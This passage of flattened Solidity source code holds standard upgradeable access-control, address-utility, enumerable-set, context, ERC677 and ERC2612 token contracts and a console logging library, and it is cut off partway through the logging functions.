getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import './IERC677.sol'; import './IERC677Receiver.sol'; import '@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol'; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; contract ERC677Upgradeable is Initializable, IERC677, ERC20Upgradeable { /** * @dev Sets the values for {_name} and {_symbol}, initializes {_decimals} with * a default value of 18. And mints {_initialBalance} to address {_initialAccount} * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC677_init( address _initialAccount, uint256 _initialBalance, string memory _name, string memory _symbol ) internal initializer { __ERC20_init(_name, _symbol); if (_initialBalance != 0) { _mint(_initialAccount, _initialBalance); } } /** * @dev check if an address is a contract. * @param _addr The address to check. */ function isContract(address _addr) private view returns (bool hasCode) { uint256 length; assembly { length := extcodesize(_addr) } return length > 0; } /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall( address _to, uint256 _value, bytes memory _data ) public virtual override returns (bool success) { require(super.transfer(_to, _value), 'ERC677Upgradeable: transfer failed'); if (isContract(_to)) { IERC677Receiver(_to).onTokenTransfer(msg.sender, _value, _data); } return true; } } // SPDX-License-Identifier: gpl-3.0 pragma solidity 0.7.5; import '@openzeppelin/contracts-upgradeable/proxy/Initializable.sol'; abstract contract ERC2612Upgradeable is Initializable { // --- EIP712 niceties --- bytes32 public DOMAIN_SEPARATOR; // bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)"); bytes32 public PERMIT_TYPEHASH; string public version; mapping(address => uint256) public nonces; function __ERC2612_init(string memory _EIP712Name) internal initializer { version = '1'; DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( 'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)' ), keccak256(bytes(_EIP712Name)), keccak256(bytes(version)), getChainId(), address(this) ) ); PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb; } function permit( address holder, address spender, uint256 nonce, uint256 expiry, bool allowed, uint8 v, bytes32 r, bytes32 s ) public virtual; function getChainId() public pure returns (uint256 chainId) { // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { 